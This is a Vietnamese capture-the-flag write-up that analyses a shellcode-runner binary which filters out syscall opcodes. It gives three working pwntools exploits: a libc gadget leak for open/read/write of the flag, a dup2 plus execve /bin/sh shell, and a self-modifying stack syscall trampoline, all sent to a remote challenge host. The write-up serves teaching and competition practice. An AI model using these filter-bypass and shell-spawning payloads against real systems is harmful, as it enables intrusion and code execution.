## baby shell code ![image](https://hackmd.io/_uploads/rJ4En8RzZe.png) ```c int __fastcall main(int argc, const char **argv, const char **envp) { __int16 v4; // [rsp+Eh] [rbp-12h] int i; // [rsp+10h] [rbp-10h] int v6; // [rsp+14h] [rbp-Ch] setup(argc, argv, envp); printf("Your shellcode: "); v6 = read(0, shellcode, 4096uLL); if ( v6 <= 0 ) { perror("Read failed !!!"); exit(-1); } if ( mprotect(shellcode, 4096uLL, 5) ) { perror("Mprotect failed !!!"); exit(-1); } close(0); for ( i = 0; i < v6 - 1; ++i ) { v4 = *(_WORD *)((char *)shellcode + i); if ( v4 == 0x50F || v4 == 0x340F || v4 == (__int16)0x80CD ) { puts("Found forbidden bytes !!!"); exit(1); } } ((void (*)(void))shellcode)(); return 0; } ``` Chương trình cho nhập vào 1 shellcode `4096` bytes -> sau đó chạy `mprotect` set quyền cho vùng shellcode: ```c 5 là bitmask quyền truy cập: PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 => 5 = 1 + 4 = PROT_READ | PROT_EXEC ``` => Có quyền read + exec Tiếp theo đóng `close(0);` tức ``[fd = 0] - stdin`` để chặn input từ client. Tiếp theo đó chạy loop duyệt 2 bytes để kiếm tra chặn các opcode của: ```c 0x050F ↔ bytes 0f 05 = syscall 0x340F ↔ bytes 0f 34 = sysenter 0x80CD ↔ bytes cd 80 = int 0x80 ``` -> Nếu thỏa thì: ```c ((void (*)(void))shellcode)(); ``` Ép con trỏ shellcode thành hàm void func(void) rồi gọi. CPU bắt đầu thực thi từ đầu shellcode (với quyền RX đã set). -> Ta có thể thấy đây là dạng bài viết shellcode để exploit vì nó mặc định jmp vào pointer trỏ vào shell code cho ta rồi. --- ### Dùng syscall trong libc -> orw Việc khó khắn nhất ở trong chall này đó là nó đã cấm syscall opcode, lệnh ngắt int 0x80 và sysenter (fast system call instruction). ![image](https://hackmd.io/_uploads/BkNTs6pMbx.png) ![image](https://hackmd.io/_uploads/BkQbhaTMbl.png) ở đây ta dùng offset để đặt break point lúc ép thành func void và jump vào pointer: ![image](https://hackmd.io/_uploads/H1dV2aTz-x.png) Mặc dù không thể dùng syscall nhưng ta có thể tận dụng syscall có sẵn trong libc. Note: ```c +------------------------------+ PIE_BASE -> | Binary PIE (vuln) | | .text (main, ...) | r13 anchor->| 0x...2347 (endbr64) | | | | .got/.got.plt | setvbuf@GOT->| 0x...4fb8 --> 0x7f...55f0 | (con trỏ ra libc) +------------------------------+ +------------------------------+ LIBC_BASE-> | libc.so.6 | | setvbuf @ (base + off) | leak value->| 0x7f...55f0 | | system @ (base + off) | | gadgets @ (base + off) | +------------------------------+ ``` Khi bắt đầu jump vào shellcode, ta tinh ý sẽ thấy là thanh ghi r13 đang chứa địa chỉ của main. ![image](https://hackmd.io/_uploads/BkSvmdRM-x.png) Lúc này ta có thể lợi dụng shell code để leak được địa chỉ libc thông qua got của các hàm `setvbuf`,... Có thể thấy địa chỉ got là: `0x564a1bfd4fb8` ![image](https://hackmd.io/_uploads/BJLrQ_Rf-l.png) -> Lúc này dễ dàng tính được offset là `0x2c71` ![image](https://hackmd.io/_uploads/SyAA7dCfWl.png) Và địa chỉ nó resolve trong libc (cơ chế got/plt) chính là `0x7f5562d4d5f0` và ta phải dùng dereference vào địa chỉ mà got trỏ tới hàm trong libc. Từ đó ta tính offset để tính ra libc base address: ![image](https://hackmd.io/_uploads/Hysmn9Afbg.png) ![image](https://hackmd.io/_uploads/rygzpqRG-g.png) Ta thấy phân vùng libc được load vào lúc này với libc base address là `0x7f5562ccc000` ![image](https://hackmd.io/_uploads/S1itgjRMZe.png) Ta tính toán toán được offset là `0x815f0` do đó cần phải trừ đi khoảng offset tại thanh ghi rax để nó chứa giá trị là địa chỉ của libc_base. Tiếp sau đó là ta cần tìm được offset để đến gadget syscall nằm trong libc: `0x0000000000029db4 : syscall` -> lệnh asm là `add rax, 0x29db4` và vì rax dùng để tính toán cho nên ta sẽ mov nó vào rbx để không bị thay đổi trong quá trình thực thi. Tuy nhiên nếu dùng gadget này sẽ không được -> nguyên nhân do ta call syscall -> thì nó sẽ push saved rip vào stack là địa chỉ lệnh tiếp theo ở dưới syscall -> sau đó nó nhảy vào syscall kia, tuy nhiên nó lại không có ret để pop rip và nhảy ngược lại nên ta không control được flow nữa. Do đó ta sẽ phải tìm một gadget có `syscall, ret`: ![image](https://hackmd.io/_uploads/Hyk6izJXbl.png) `0x0000000000091316: syscall; ret;` chính là nó với offset `0x91316` ```c add r13, 0x2c71 mov rax, [r13] sub rax, 0x815f0 add rax, 0x91316 mov rbx, rax ``` Việc khó nhất đã hoàn thành, tiếp theo ta chỉ cần gọi syscall orw là được (vì stdin bị tắt - đương nhiên ta vẫn có cách khác để tạo shell ta sẽ tìm hiểu ở phía dưới sau): ![image](https://hackmd.io/_uploads/SyhMgZyQWe.png) Ta chỉ cần control thanh ghi `RAX ARG0 (rdi) ARG1 (rsi) ARG2 (rdx)` ở đây đối số rsi và rdx ta để null cũng được, còn rax sẽ là 2, rdi là tên file `flag.txt`. ```c mov rax, 0 push rax mov rax, 0x7478742e67616c66 push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x2 call rbx ``` Sau khi open -> thì mặc định khi mở thì nó tạo một file có thể xem là symlink trong /proc/self/fd/.. -> và ở syscall open trên thì nó mở thành công sẽ gán `rax = file descriptor (fd)` Tương tự `RAX ARG0 (rdi) ARG1 (rsi) ARG2 (rdx)`: rax = 0, rdi sẽ là fd trên, còn arg1(rsi) sẽ là địa chỉ mà nội dung của file flag.txt được đọc sẽ ghi đè lên stack mà rsi trỏ đến, ở đây ta ghi lên rsp luôn vì stack lúc này có rsp đang trỏ đến chuỗi `0x7478742e67616c66` và tiếp theo là byte null ở đoạn push rax ở trên, còn arg2 rdx sẽ là số byte ta đọc ở đây flag.txt test là `KCSC{test}` nên ta để tạm là 0xa. ```c mov rdi, rax lea rsi, [rsp] mov rdx, 0xa mov rax, 0 call rbx ``` ![image](https://hackmd.io/_uploads/rJP9PZy7bl.png) Cuối cùng là cho write: ```c mov rdi, 1 lea rsi, [rsp] mov rdx, 0xa mov rax, 1 call rbx ``` tương tự như trên thôi Exploit: ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct import os import sys import subprocess exe = ELF("./vuln", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.35.so", checksec=False) context.log_level = 'debug' context.binary = exe context.arch = 'amd64' context.bits = 64 # context.arch = 'i386' # context.bits = 32 if not os.environ.get('TMUX'): tmux_conf = os.path.expanduser('~/.tmux.conf') # with open(tmux_conf, 'a+') as f: # f.seek(0) # if 'set -g mouse on' not in f.read(): # f.write('set -g mouse on') os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:]) # context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70'] context.terminal = ['tmux', 'new-window'] info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): gdb.attach(p, gdbscript=''' b* main+296 c ''') # p = remote("67.223.119.69", 5023) p = process([exe.path]) GDB() shellcode = asm( """ add r13, 0x2c71 mov rax, [r13] sub rax, 0x815f0 add rax, 0x91316 mov rbx, rax mov rax, 0 push rax mov rax, 0x7478742e67616c66 push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x2 call rbx mov rdi, rax lea rsi, [rsp] mov rdx, 0xa mov rax, 0 call rbx mov rdi, 1 lea rsi, [rsp] mov rdx, 0xa mov rax, 1 call rbx """, arch = 'amd64' ) sla(b'Your shellcode: ', shellcode) p.interactive() ``` ![image](https://hackmd.io/_uploads/B1lKyQ17bg.png) ![image](https://hackmd.io/_uploads/rJlzxXJQWe.png) Tại đây ta có thể thấy syscall đã được gắn vào thanh ghi rbx ![image](https://hackmd.io/_uploads/S1AVxQ1QWe.png) -> syscall được gọi -> owr flag. Exploit trên server ta tăng số byte ghi và đọc lên là được: ![image](https://hackmd.io/_uploads/rJf6eQ1Qbx.png) flag: `KCSC{x3cu74bl3_574ck_15_3x7r3m3ly_d4n63r0u5}` ![image](https://hackmd.io/_uploads/r1aizXymWg.png) --- Ngoài cách trên thì mình có tham khảo được: ### Dùng dup2 -> execve /bin/sh `CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:/home/ctf/vuln,stderr"]` Trên dockerfile ta dễ dàng thấy được trên server dùng socat để listen TCP, ta có thể hiểu như sau: - Socket = cái ống nối giữa máy bạn và chương trình trên server - socat sẽ: 1. tạo cái ống (socket) 2. rồi cắm nó vào chương trình vuln - Tức là: 1. Chương trình đọc → đọc từ pipe 2. Chương trình in → in ra pipe Lệnh close(0) tức nó đóng trình đọc từ pipe: Lúc này với syscall dup2: dup2 dùng để gán lại stdin/stdout/stderr (hoặc FD bất kỳ) sang một nguồn/đích khác (ở đây ta dùng chung của stdout), để chương trình chạy sau tự động dùng đúng I/O -> từ đó ta vẫn truyền được execve với sh. Và rax set là 0x21. Để gọi được syscall này ta vẫn phải quay trở lại giải quyết vấn đề như trên là tìm gadget syscall sau đó lưu vào rbx or thanh ghi khác ít thay đổi. ![image](https://hackmd.io/_uploads/SJAMHUeQWg.png) ![image](https://hackmd.io/_uploads/Hyo4LIe7-g.png) ![image](https://hackmd.io/_uploads/SJzUU8emZe.png) Thực ra thì dùng như cách ở để để lấy syscall cũng được -> vì bài này cho tùy chỉnh asm mà. Vẫn đăng break point khi chuẩn bị jump vào shellcode, thay vì dùng thanh ghi r13 ở trên -> thì ta để ý thanh ghi rcx có giá trị là `0x7f07078e4fd7` và nó nằm trong libc luôn -> không cần phải leak thông qua got như ở trên nữa ![image](https://hackmd.io/_uploads/HyGGKIeQWl.png) ![image](https://hackmd.io/_uploads/B1S4KUemZe.png) Lúc này ta sub rcx đi `0x114fd7` là được libc_base -> sau đó cộng với offset syscall như trên là được: ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct import os import sys import subprocess exe = ELF("./vuln", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.35.so", checksec=False) context.log_level = 'debug' context.binary = exe context.arch = 'amd64' context.bits = 64 # context.arch = 'i386' # context.bits = 32 if not os.environ.get('TMUX'): tmux_conf = os.path.expanduser('~/.tmux.conf') # with open(tmux_conf, 'a+') as f: # f.seek(0) # if 'set -g mouse on' not in f.read(): # f.write('set -g mouse on') os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:]) # context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70'] context.terminal = ['tmux', 'new-window'] info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): gdb.attach(p, gdbscript=''' b* main+296 c ''') p = remote("67.223.119.69", 5023) # p = process([exe.path]) # GDB() shellcode = asm( """ mov rax, rcx sub rax, 0x114fd7 add rax, 0x91316 mov rbx, rax mov rax, 0x21 mov edi, 1 mov esi, 0 call rbx mov rax, 0x3b mov rdi, 29400045130965551 push 0 push rdi xor esi, esi xor edx, edx mov rdi, rsp call rbx """, arch = 'amd64' ) sla(b'Your shellcode: ', shellcode) p.interactive() ``` ![image](https://hackmd.io/_uploads/SyRn0UgQ-g.png) ![image](https://hackmd.io/_uploads/ryf9gPxm-l.png) ### Dùng Stack Trampoline / Syscall Trampoline - Cách này mình tham khảo được của một bạn viết khá hay. ![image](https://hackmd.io/_uploads/S1XnfvlQZx.png) Ta để ý checksecurity: ```c (env) l3mnt2010@ASUSEXPERTBOOK:~/new/JHTpwner/kcsc2025/public$ gdb -q vuln pwndbg: loaded 215 pwndbg commands. Type pwndbg [filter] for a list. pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them. Reading symbols from vuln... (No debugging symbols found in vuln) pwndbg> checksec File: /home/l3mnt2010/new/JHTpwner/kcsc2025/public/vuln Arch: amd64 RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments RPATH: b'$ORIGIN' SHSTK: Enabled IBT: Enabled Stripped: No pwndbg> ``` ở đây ta có thể thấy full giáp được bật(cũng không quan trọng với bài này lắm), tuy nhiên stack lại thực thi được: `Stack: Executable` -> do đó ta hoàn toàn có thể ghi shellcode vào stack và nhảy vào thực thi ở đó luôn. - Cấm byte 0f 05 → không được viết trực tiếp instruction syscall - Nhưng không cấm ret (c3) ```c v4 = *(_WORD *)((char *)shellcode + i); if ( v4 == 0x50F || v4 == 0x340F || v4 == 0x80CD ) exit(1); ``` code chỉ check trước lúc run shellcode thôi, lúc run nó ta sẽ lợi dụng để tạo instruction syscall, ret dynamic vào trong stack. ```c mov rbx, 0xC3050E inc rbx push rbx mov rbx, rsp ``` Nó check 2 byte 1 cho nên lúc này ta không đẩy được 0F vào -> do đó ta đẩy 0E như trên (để bypass được code check) theo little endian -> sau đó inc lên thì nó thành `0xC3050F` và intruction này là syscall;ret -> ta push vào stack sau đó gán value là addr của đỉnh stack là được -> syscall đã có có thể quay về ý tưởng như 2 cách trên thôi. Vì dynamic nên ta có khá nhiều cách để control được. ![image](https://hackmd.io/_uploads/r1q_uPeQWe.png) ![image](https://hackmd.io/_uploads/Sy4jOvgQbl.png) ![image](https://hackmd.io/_uploads/Bk0auwl7Wl.png) poc: ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct import os import sys import subprocess exe = ELF("./vuln", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.35.so", checksec=False) context.log_level = 'debug' context.binary = exe context.arch = 'amd64' context.bits = 64 # context.arch = 'i386' # context.bits = 32 if not os.environ.get('TMUX'): tmux_conf = os.path.expanduser('~/.tmux.conf') # with open(tmux_conf, 'a+') as f: # f.seek(0) # if 'set -g mouse on' not in f.read(): # f.write('set -g mouse on') os.execvp('tmux', ['tmux', 'new-session', sys.executable, os.path.abspath(__file__)] + sys.argv[1:]) # context.terminal = ['tmux', 'splitw', '-h', '-b', '-p', '70'] context.terminal = ['tmux', 'new-window'] info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): gdb.attach(p, gdbscript=''' b* main+296 c ''') p = remote("67.223.119.69", 5023) # p = process([exe.path]) # GDB() shellcode = asm( """ mov rbx, 0xC3050E inc rbx push rbx mov rbx, rsp mov rax, 0x21 mov edi, 1 mov esi, 0 call rbx mov rax, 0x3b mov rdi, 29400045130965551 push 0 push rdi xor esi, esi xor edx, edx mov rdi, rsp call rbx """, arch = 'amd64' ) sla(b'Your shellcode: ', shellcode) p.interactive() ``` ![image](https://hackmd.io/_uploads/HJ6kYPgm-l.png) thanks for watching